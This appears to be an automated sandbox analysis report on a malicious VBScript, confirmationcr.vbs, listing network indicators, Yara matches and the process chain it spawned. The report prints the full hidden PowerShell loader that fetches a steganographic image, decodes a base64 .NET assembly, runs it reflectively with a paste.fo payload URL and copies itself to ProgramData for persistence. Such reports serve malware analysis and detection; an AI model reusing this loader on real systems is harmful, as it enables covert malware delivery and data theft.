Source: powershell.exe, 00000005.00000002.1508440162.000001DE81489000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: wscript.exe, 00000000.00000002.1447704527.00000221FA9E4000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1446041255.00000221FA9E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/
Source: wscript.exe, 00000000.00000003.1446680991.00000221FA95F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1447117810.00000221FC7F1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1447770175.00000221FAA06000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1446559645.00000221FAA05000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1447132604.00000221FAC1B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1446471110.00000221FAC1A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1446425658.00000221FC7F5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1447645417.00000221FA9BB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1447599541.00000221FA960000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1445897155.00000221FAA04000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1446228686.00000221FA9B3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1446373423.00000221FA9BB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1447920705.00000221FAC1B000.00000004.00000020.00020000.00000000.sdmp, confirmationcr.vbs	String found in binary or memory: https://paste.ee/d/2lAW3
Source: wscript.exe, 00000000.00000003.1446471110.00000221FAC1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/d/2lAW3QQxxi
Source: wscript.exe, 00000000.00000003.1446283185.00000221FA9BA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1447645417.00000221FA9BB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1446228686.00000221FA9B3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1446373423.00000221FA9BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/d/2lAW3tem
Source: wscript.exe, 00000000.00000003.1446340804.00000221FA9C8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1447686341.00000221FA9C8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1446211624.00000221FA9C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee:443/d/2lAW3
Source: powershell.exe, 00000004.00000002.1513578120.000001B9150DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.fo
Source: powershell.exe, 00000004.00000002.1511712919.000001B912C4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://paste.fo/raw/a74d3ed54ba1?download
Source: wscript.exe, 00000000.00000002.1447983781.00000221FD15D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.gravatar.com
Source: wscript.exe, 00000000.00000002.1447983781.00000221FD15D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://themes.googleusercontent.com
Source: powershell.exe, 00000004.00000002.1513578120.000001B914F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wallpapercave.com
Source: powershell.exe, 00000004.00000002.1511712919.000001B912C4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wallpapercave.com/uwp/uwp4203994.png
Source: wscript.exe, 00000000.00000002.1447983781.00000221FD15D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: wscript.exe, 00000000.00000002.1447983781.00000221FD15D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com;
Source: wscript.exe, 00000000.00000002.1447983781.00000221FD15D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705

Source: unknown	HTTPS traffic detected: 172.67.187.200:443 -> 192.168.2.9:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.22.53.71:443 -> 192.168.2.9:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.70.240:443 -> 192.168.2.9:49707 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 2984, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 3668, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Very long command line found

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 6428
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 6428			Jump to behavior

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: Server XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{AFBA6B42-5692-48EA-8141-DC517DCF0EF1}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: WinHttpRequest Component version 5.1 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{2087c2f4-2cef-4953-a8ab-66779b670495}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}	Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'JDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVQByDgTreGwDgTreIDgTreDgTre9DgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredwBhDgTreGwDgTrebDgTreBwDgTreGEDgTrecDgTreBlDgTreHIDgTreYwBhDgTreHYDgTreZQDgTreuDgTreGMDgTrebwBtDgTreC8DgTredQB3DgTreHDgTreDgTreLwB1DgTreHcDgTrecDgTreDgTre0DgTreDIDgTreMDgTreDgTrezDgTreDkDgTreOQDgTre0DgTreC4DgTrecDgTreBuDgTreGcDgTreJwDgTre7DgTreCQDgTredwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreTgBlDgTreHcDgTreLQBPDgTreGIDgTreagBlDgTreGMDgTredDgTreDgTregDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreTgBlDgTreHQDgTreLgBXDgTreGUDgTreYgBDDgTreGwDgTreaQBlDgTreG4DgTredDgTreDgTre7DgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreEIDgTreeQB0DgTreGUDgTrecwDgTregDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBVDgTreHIDgTrebDgTreDgTrepDgTreDsDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEUDgTrebgBjDgTreG8DgTreZDgTreBpDgTreG4DgTreZwBdDgTreDoDgTreOgBVDgTreFQDgTreRgDgTre4DgTreC4DgTreRwBlDgTreHQDgTreUwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreKQDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTrekDgTreGUDgTrebgBkDgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBFDgTreE4DgTreRDgTreDgTre+DgTreD4DgTreJwDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreSQBuDgTreGQDgTreZQB4DgTreE8DgTreZgDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreKQDgTre7DgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTreZQDgTregDgTreDDgTreDgTreIDgTreDgTretDgTreGEDgTrebgBkDgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTredDgTreDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreCsDgTrePQDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreG
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'JDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVQByDgTreGwDgTreIDgTreDgTre9DgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredwBhDgTreGwDgTrebDgTreBwDgTreGEDgTrecDgTreBlDgTreHIDgTreYwBhDgTreHYDgTreZQDgTreuDgTreGMDgTrebwBtDgTreC8DgTredQB3DgTreHDgTreDgTreLwB1DgTreHcDgTrecDgTreDgTre0DgTreDIDgTreMDgTreDgTrezDgTreDkDgTreOQDgTre0DgTreC4DgTrecDgTreBuDgTreGcDgTreJwDgTre7DgTreCQDgTredwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreTgBlDgTreHcDgTreLQBPDgTreGIDgTreagBlDgTreGMDgTredDgTreDgTregDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreTgBlDgTreHQDgTreLgBXDgTreGUDgTreYgBDDgTreGwDgTreaQBlDgTreG4DgTredDgTreDgTre7DgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreEIDgTreeQB0DgTreGUDgTrecwDgTregDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBVDgTreHIDgTrebDgTreDgTrepDgTreDsDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEUDgTrebgBjDgTreG8DgTreZDgTreBpDgTreG4DgTreZwBdDgTreDoDgTreOgBVDgTreFQDgTreRgDgTre4DgTreC4DgTreRwBlDgTreHQDgTreUwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreKQDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTrekDgTreGUDgTrebgBkDgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBFDgTreE4DgTreRDgTreDgTre+DgTreD4DgTreJwDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreSQBuDgTreGQDgTreZQB4DgTreE8DgTreZgDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreKQDgTre7DgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTreZQDgTregDgTreDDgTreDgTreIDgTreDgTretDgTreGEDgTrebgBkDgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTredDgTreDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreCsDgTrePQDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreG			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_030CF8B8	8_2_030CF8B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_030CD034	8_2_030CD034
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_064A8798	8_2_064A8798
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_064A1C00	8_2_064A1C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_064A92DF	8_2_064A92DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_064A0040	8_2_064A0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_064A0006	8_2_064A0006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_064A1BF0	8_2_064A1BF0

Source: confirmationcr.vbs

Initial sample: Strings found which are bigger than 50

Source: Process Memory Space: powershell.exe PID: 2984, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 3668, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winVBS@15/8@3/3

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4108:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2284:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hgdjhbzt.snt.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\confirmationcr.vbs"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\b8493bec853ac702d2188091d76ccffa\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\b8493bec853ac702d2188091d76ccffa\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\b8493bec853ac702d2188091d76ccffa\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\confirmationcr.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'JDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVQByDgTreGwDgTreIDgTreDgTre9DgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredwBhDgTreGwDgTrebDgTreBwDgTreGEDgTrecDgTreBlDgTreHIDgTreYwBhDgTreHYDgTreZQDgTreuDgTreGMDgTrebwBtDgTreC8DgTredQB3DgTreHDgTreDgTreLwB1DgTreHcDgTrecDgTreDgTre0DgTreDIDgTreMDgTreDgTrezDgTreDkDgTreOQDgTre0DgTreC4DgTrecDgTreBuDgTreGcDgTreJwDgTre7DgTreCQDgTredwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreTgBlDgTreHcDgTreLQBPDgTreGIDgTreagBlDgTreGMDgTredDgTreDgTregDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreTgBlDgTreHQDgTreLgBXDgTreGUDgTreYgBDDgTreGwDgTreaQBlDgTreG4DgTredDgTreDgTre7DgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreEIDgTreeQB0DgTreGUDgTrecwDgTregDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBVDgTreHIDgTrebDgTreDgTrepDgTreDsDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEUDgTrebgBjDgTreG8DgTreZDgTreBpDgTreG4DgTreZwBdDgTreDoDgTreOgBVDgTreFQDgTreRgDgTre4DgTreC4DgTreRwBlDgTreHQDgTreUwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreKQDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTrekDgTreGUDgTrebgBkDgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBFDgTreE4DgTreRDgTreDgTre+DgTreD4DgTreJwDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreSQBuDgTreGQDgTreZQB4DgTreE8DgTreZgDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreKQDgTre7DgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTreZQDgTregDgTreDDgTreDgTreIDgTreDgTretDgTreGEDgTrebgBkDgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTredDgTreDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreCsDgTrePQDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreG
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "$imageUrl = 'https://wallpapercave.com/uwp/uwp4203994.png';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Aspose.DrawingSpec.PkikAttrCertNB');$method = $type.GetMethod('Run').Invoke($null, [object[]] ('https://paste.fo/raw/a74d3ed54ba1?download' , 'desativado' , '2' , 'VbsName' , '1' , 'C:\ProgramData\', 'LnkName','AddInProcess32','desativado','desativado','desativado'))
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Desusertion C:\ProgramData\VbsName.vbs
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\VbsName.vbs"
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\VbsName.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'JDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVQByDgTreGwDgTreIDgTreDgTre9DgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredwBhDgTreGwDgTrebDgTreBwDgTreGEDgTrecDgTreBlDgTreHIDgTreYwBhDgTreHYDgTreZQDgTreuDgTreGMDgTrebwBtDgTreC8DgTredQB3DgTreHDgTreDgTreLwB1DgTreHcDgTrecDgTreDgTre0DgTreDIDgTreMDgTreDgTrezDgTreDkDgTreOQDgTre0DgTreC4DgTrecDgTreBuDgTreGcDgTreJwDgTre7DgTreCQDgTredwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreTgBlDgTreHcDgTreLQBPDgTreGIDgTreagBlDgTreGMDgTredDgTreDgTregDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreTgBlDgTreHQDgTreLgBXDgTreGUDgTreYgBDDgTreGwDgTreaQBlDgTreG4DgTredDgTreDgTre7DgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreEIDgTreeQB0DgTreGUDgTrecwDgTregDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBVDgTreHIDgTrebDgTreDgTrepDgTreDsDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEUDgTrebgBjDgTreG8DgTreZDgTreBpDgTreG4DgTreZwBdDgTreDoDgTreOgBVDgTreFQDgTreRgDgTre4DgTreC4Dg